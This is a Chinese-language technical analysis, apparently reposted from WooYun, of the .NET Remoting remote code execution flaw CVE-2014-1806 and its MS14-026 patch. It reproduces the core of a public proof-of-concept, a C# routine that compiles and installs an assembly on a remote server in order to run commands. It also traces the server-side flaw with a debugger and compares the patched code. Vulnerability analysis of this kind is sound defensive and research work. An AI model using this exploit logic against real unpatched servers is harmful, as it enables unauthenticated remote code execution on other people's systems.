<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            原文地址:http://drops.wooyun.org/papers/3993

            0x00 簡介


            Microsoft .NET Remoting是一種分布式處理方式,提供了一種允許對象通過應用程序域與另一對象進行交互的框架。前幾天James Forshaw發布了CVE-2014-1806 .NET Remoting Services的漏洞利用程序,花了一些時間對其進行一下簡單的調試分析。

            首先安裝包含漏洞的.NET Framework v4.0.30319,執行poc代碼,可以看到執行成功了。

            enter image description here

            0x01 分析


            對poc代碼進行分析,可以看到下面的代碼CreateRemoteClass,其中MakeCall模板函數根據參數信息構建發送到服務器端的請求數據并得到服務器執行結果,其中static object SendRequest(object o, bool remote) 函數完成對象的序列化、協議數據包的構建發送以及執行結果的解析。

            例如MakeCall(_uri.AbsolutePath, GetStaticMethod(typeof(Path), "GetTempPath"))是用于調用遠程服務器中Path對象的GetTempPath方法,并返回執行結果。Poc中的代碼用于在遠端服務器中上傳、編譯RemoteClass.cs、IRemoteClass.cs、InstallClass.cs文件得到Installer.dll,然后安裝Installer.dll,最終創建IRemoteClass的對象實體。在得到IRemoteClass對象之后,就能調用它的方法執行任意命令了。

            #!java
            private static IRemoteClass CreateRemoteClass()
            {
                if (_useser)
                {
                    return new SerializerRemoteClass();
                }
                else
                {
                    string path;
                    if (_uri.Scheme != "ipc")
                    {
                        IRemoteClass ret = GetExistingRemoteClass();
            
                        try
                       {
                           ret.ToString();
                           return ret;
                       }
                       catch (RemotingException)
                       {
                       }
            
                       path = MakeCall<string>(_uri.AbsolutePath, GetStaticMethod(typeof(Path), "GetTempPath"));
                      path = Path.Combine(path, "Installer.dll");
                      CodeDomProvider compiler = MakeCall<CodeDomProvider>(_uri.AbsolutePath, GetCreateInstance<CSharpCodeProvider>());
            
                      string uri = RemotingServices.GetObjectUri(compiler);
                      CompilerParameters cp = new CompilerParameters();
                      cp.ReferencedAssemblies.Add("System.dll");
                      cp.ReferencedAssemblies.Add("System.Configuration.Install.dll");
                      cp.OutputAssembly = path;
            
                      cp.GenerateInMemory = false;
                      cp.GenerateExecutable = false;
            
                      string code = GetResource("RemoteClass.cs");
                      string intf = GetResource("IRemoteClass.cs");
                      string inst = GetResource("InstallClass.cs");
            
            CompilerResults res = MakeCall<CompilerResults>(uri,new FakeMethod(typeof(CodeDomProvider).GetMethod("CompileAssemblyFromSource"), _ver), cp, new string[] { code, intf, inst });
                      }
                      else
                      {
                          path = typeof(IRemoteClass).Assembly.Location;
                      }
                      try
                      {
                         AssemblyInstaller installer = MakeCall<AssemblyInstaller>(_uri.AbsolutePath, GetCreateInstance<AssemblyInstaller>());
                        installer.Path = path;
                        installer.CommandLine = new string[] { "/name=" + _remotename };
                        installer.UseNewContext = true;
                        installer.Install(new Hashtable());
                   }
                   catch
                   {
                       // In the IPC case this might fail
                       // Just continue on with the creation of the remote class and see if we're lucky            
                   }
                    return GetExistingRemoteClass();
                }
            }
            

            可以通過WireShark截包驗證整個數據交互過程,其中包含文件的上傳,服務端的%TEMP%目錄下也相應的生成了Installer.dll。

            enter image description here

            為了了解服務端的數據處理流程,通過windbg對CreateProcessW設置斷點,通過sos.dll擴展來觀察程序的托管代碼調用堆棧。

            enter image description here

            通過托管代碼的調用棧,結合.NET Reflector對System.Runtime.Remoting.dll進行分析。

            可以看到System.Runtime.Remoting.Channels.Tcp.TcpServerTransportSink.ServiceRequest方法通過ITransportHeaders requestHeaders = handler.ReadHeaders()和Stream requestStream = handler.GetRequestStream()獲取了協議頭和請求的對象流信息。

            然后調用System.Runtime.Remoting.Channels.BinaryServerFormatterSink.ProcessMessage方法 ,該方法中通過requestMsg = CoreChannel.DeserializeBinaryRequestMessage(uRI, requestStream, this._strictBinding, this.TypeFilterLevel)對請求的對象流進行反序列化,成功之后則調用System.Runtime.Remoting.Channels.DispatchChannelSink.ProcessMessage。

            enter image description here

            enter image description here

            System.Runtime.Remoting.Channels.DispatchChannelSink.ProcessMessage中簡單判斷之后,直接調用了ChannelServices.DispatchMessage(sinkStack, requestMsg, out responseMsg)分發消息。

            DispatchMessage中則只是通過IsMethodReallyPublic(methodBase)和RemotingServices.IsMethodAllowedRemotely(methodBase))判斷了遠端調用的方法是否允許,如果滿足條件,則進一步處理,最終調用該方法。

            enter image description here

            enter image description here

            整個過程中并沒有對遠端的身份進行有效性驗證,而Remoting對遠端提供的方法導致了可以通過CreateInstance 在服務端得到獲取CodeDomProvider對象、通過CodeDomProvider的CompileAssemblyFromSource方法編譯源碼、安裝Installer.dll,最后創建IRemoteClass類對象來執行命令的漏洞。

            0x02 關于補丁


            Microsoft 安全公告 MS14-026中提到針對該漏洞的安全更新是通過幫助確保 .NET Framework 為應用程序內存正確強制實施安全控件來解決漏洞,即采用了變通方法,僅允許經過身份驗證的客戶端與容易受到攻擊的服務器進行交互。

            enter image description here

            enter image description here

            通過給win7 sp1打NDP40-KB2931365-x86.exe補丁,對比打補丁前后的System.Runtime.Remoting.dll的System.Runtime.Remoting.Channels.BinaryServerFormatterSink.ProcessMessage方法,可以看到多了如下圖的一段代碼。

            enter image description here

            執行之前的poc代碼,將發現服務端拋出異常,由于allowTransparentProxyMessageValue的值為false,導致消息不會進一步被處理,與安全公告中描述的一致。如果allowTransparentProxyMessageValue的值為true,程序的處理流程與未打補丁時相同。

            enter image description here

            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线